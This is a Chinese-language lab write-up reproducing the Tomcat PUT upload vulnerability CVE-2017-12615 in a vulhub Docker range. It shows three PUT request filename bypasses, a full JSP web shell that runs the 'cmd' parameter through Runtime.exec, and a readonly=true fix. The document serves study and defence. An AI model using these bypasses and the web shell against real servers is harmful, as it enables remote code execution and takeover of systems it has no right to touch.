里面一些重要的文件,需要了解其作用:
1.server.xml:配置tomcat启动的端口号,host主机,Context等。
2.web.xml文件:部署描述文件,这个web.xml描述了一些默认的servlet,部署每个webapp时,都会调用这个文件,配置该web应用的默认servlet。
3.tomcat-users.xml:tomcat用户密码与权限。
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,CVE-2017-12615
和CVE-2017-12616
,其中远程代码执行执行漏洞(CVE-2017-12615)当Tomcat运行在Windows主机上,且启用了HTTP PUT请求方法, (例如,将readonly初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的JSP文件,之后,JSP文件中的代码将能服务器执行。
影响范围:Apache Tomcat 7.0.0-7.0.81(默认配置)
复现环境:Apache Tomcat 8.5.19
漏洞产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但是限制了jsp后缀,不过对于不同平台有多种绕过方法。
这里我们使用vulhub靶场进行复现。
cd CVE-2017-12615
docker-compose up -d
docker ps
docker exec -ti 2 bash
cat conf/web.xml | grep readonly
我们访问一下漏洞页面。
漏洞地址:http://192.168.111.133:8080/
我们抓包,修改如下:
可以看到,成功上传了文件,但是直接上传jsp文件是不被允许的!!!
这里我们需要绕过。
Windows下不允许文件以空格结尾
以PUT /shell1.jsp%20 HTTP/1.1
上传到windows会被自动去掉末尾的空格。
WindowsNTFS流
PUT /shell2.jsp::$DATA HTTP/1.1
在文件名字中是非法的,也会被去除(Linux/Windows)
PUT /shell3.jsp /HTTP/1.1
可以看到三种方法均上传成功。
接下来,我们上传冰蝎jsp一句话。
我们访问页面查看:http://192.168.111.133:8080/4.jsp
我们使用冰蝎链接。
这里使用以下cmd一句话。
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
Burp截图如下:
我们访问链接:http://192.168.111.133:8080/5.jsp?cmd=id
用户可以禁用PUT方法来防护此漏洞,操作方式如下:
在Tomcat的web.xml文件中配置org.apache.catalina.servlets.DefualtServlet的初始化参数。
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
确保readonly参数为true(默认值),即不允许DELETE和PUT操作。